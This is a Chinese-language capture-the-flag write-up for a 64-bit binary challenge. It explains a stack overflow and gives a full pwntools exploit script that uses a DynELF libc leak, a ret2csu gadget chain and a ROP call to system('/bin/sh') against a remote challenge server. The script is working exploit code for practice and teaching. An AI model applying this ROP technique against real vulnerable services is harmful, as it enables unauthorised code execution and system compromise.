漏洞分析
程序中只开了NX
,查看程序逻辑发现:
int sub_40068E()
{
char buf; // [rsp+0h] [rbp-40h]
sub_40063D((__int64)&buf, 200);
return puts("bye~");
}
使用sub_40063D
函数向buf
中读取200个字符,显然存在栈溢出。接下来我们要思考如何利用这个漏洞。
观察到程序中调用read
以及puts
函数,而不存在system
和/bin/sh
,我们可以考虑用DynELF
模块泄露system
的地址,然后用read
函数将/bin/sh
写入数据段,再通过构造ROP链劫持程序流程
用指令
readelf -S pwn100
查看段信息,将/bin/sh
写入.data
地址
至于如何调用read
函数,在程序的init
函数中有这样一段代码:
.text:0000000000400740 loc_400740: ; CODE XREF: init+54↓j
.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
.text:0000000000400749 call qword ptr [r12+rbx*8]
.text:000000000040074D add rbx, 1
.text:0000000000400751 cmp rbx, rbp
.text:0000000000400754 jnz short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: init+36↑j
.text:0000000000400756 add rsp, 8
.text:000000000040075A pop rbx
.text:000000000040075B pop rbp
.text:000000000040075C pop r12
.text:000000000040075E pop r13
.text:0000000000400760 pop r14
.text:0000000000400762 pop r15
.text:0000000000400764 retn
可以看到,0x40075A
的一串pop
指令是对程序寄存器的修改,然后0x400740
以后的指令是执行r12+rbx*8
地址处的函数
exp:
from pwn import *
#p=process("./pwn")
p=remote("111.198.29.45",52106)
elf=ELF("./pwn")
pop_rdi=0x400763
pop_6r=0x40075A
mov_addr=0x400740
start_addr=0x400550
puts_plt=elf.plt['puts']
read_got=elf.got['read']
binsh_addr=0x601000
def leak(addr):
payload='a'*0x48+p64(pop_rdi)+p64(addr)+p64(puts_plt)+p64(start_addr)
payload=payload.ljust(200,"a")
p.send(payload)
p.recvuntil("bye~\n")
up=""
content=""
cnt=0
while True:
c=p.recv(numb=1,timeout=0.5)
cnt+=1
if up=='\n' and c=="":
content=content[:-1]+'\x00'
break
else :
content+=c
up=c
content=content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content
d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
log.info("system_addr => %#x",sys_addr)
payload='a'*0x48+p64(pop_6r)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(binsh_addr)+p64(1)
payload+=p64(mov_addr)+'\x00'*56+p64(start_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")
payload='a'*0x48+p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
payload=payload.ljust(200,'a')
p.send(payload)
p.interactive()